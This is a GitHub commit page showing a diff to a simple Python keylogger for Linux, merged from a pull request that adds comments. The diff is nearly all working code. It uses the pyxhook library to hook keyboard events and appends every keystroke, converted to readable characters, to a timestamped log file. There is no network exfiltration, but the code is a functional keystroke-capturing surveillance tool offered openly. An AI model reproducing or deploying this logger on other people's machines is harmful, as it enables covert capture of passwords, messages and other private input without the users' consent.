-
Notifications
You must be signed in to change notification settings - Fork 628
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #107 from igosad/master
comments added to linux version
- Loading branch information
Showing
1 changed file
with
19 additions
and
25 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,46 +1,40 @@ | ||
#!/usr/bin/env python | ||
# import needed modules | ||
import os | ||
from datetime import datetime | ||
import pyxhook | ||
|
||
# main function | ||
def main(): | ||
log_file=f'{os.getcwd()}/{datetime.now().strftime("%d-%m-%Y|%H:%M")}.log' | ||
# specify the name of the file (can be changed ) | ||
log_file = f'{os.getcwd()}/{datetime.now().strftime("%d-%m-%Y|%H:%M")}.log' | ||
|
||
# the logging function with {event parm} | ||
def OnKeyPress(event): | ||
with open(log_file, 'a') as f: | ||
if event.Key == 'space': | ||
f.write(' ') | ||
elif event.Key == 'P_Enter' : | ||
f.write('\n') | ||
elif event.Key == 'Return' : | ||
|
||
with open(log_file, "a") as f: # open a file as f with Append (a) mode | ||
if event.Key == 'P_Enter' : | ||
f.write('\n') | ||
elif event.Key == 'comma' : | ||
f.write(',') | ||
elif event.Key == 'semicolon' : | ||
f.write(';') | ||
elif event.Key == 'colon' : | ||
f.write(':') | ||
elif event.Key == 'exclam' : | ||
f.write('!') | ||
elif event.Key == 'period' : | ||
f.write('.') | ||
else: | ||
f.write(f'{event.Key}') | ||
f.write(f"{chr(event.Ascii)}") # write to the file / convert ascii to readable characters | ||
|
||
# create a hook manager object | ||
new_hook = pyxhook.HookManager() | ||
new_hook.KeyDown = OnKeyPress | ||
new_hook.HookKeyboard() | ||
|
||
new_hook.HookKeyboard() # set the hook | ||
|
||
try: | ||
new_hook.start() | ||
new_hook.start() # start the hook | ||
except KeyboardInterrupt: | ||
# User cancelled from command line. | ||
pass | ||
except Exception as ex: | ||
# Write exceptions to the log file, for analysis later. | ||
msg = f'Error while catching events:\n {ex}' | ||
msg = f"Error while catching events:\n {ex}" | ||
pyxhook.print_err(msg) | ||
with open(log_file, 'a') as f: | ||
f.write(f'\n{msg}') | ||
with open(log_file, "a") as f: | ||
f.write(f"\n{msg}") | ||
|
||
|
||
if __name__ == '__main__': | ||
if __name__ == "__main__": | ||
main() |